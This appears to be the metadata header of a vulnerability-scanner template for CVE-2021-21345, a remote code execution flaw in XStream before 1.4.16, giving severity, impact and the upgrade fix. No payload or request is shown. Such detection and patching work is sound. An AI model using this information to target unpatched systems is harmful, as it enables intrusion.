XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
id: CVE-2021-21345
info:
name: XStream <1.4.16 - Remote Code Execution
author: pwnhxl,vicrack
severity: critical
description: |
XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
